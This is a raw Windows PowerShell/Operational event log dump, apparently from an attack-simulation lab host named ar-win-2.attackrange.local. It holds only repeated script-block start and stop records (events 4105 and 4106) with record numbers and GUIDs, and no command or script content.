410615103150x0676019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0676001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0676000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0675858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0675857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 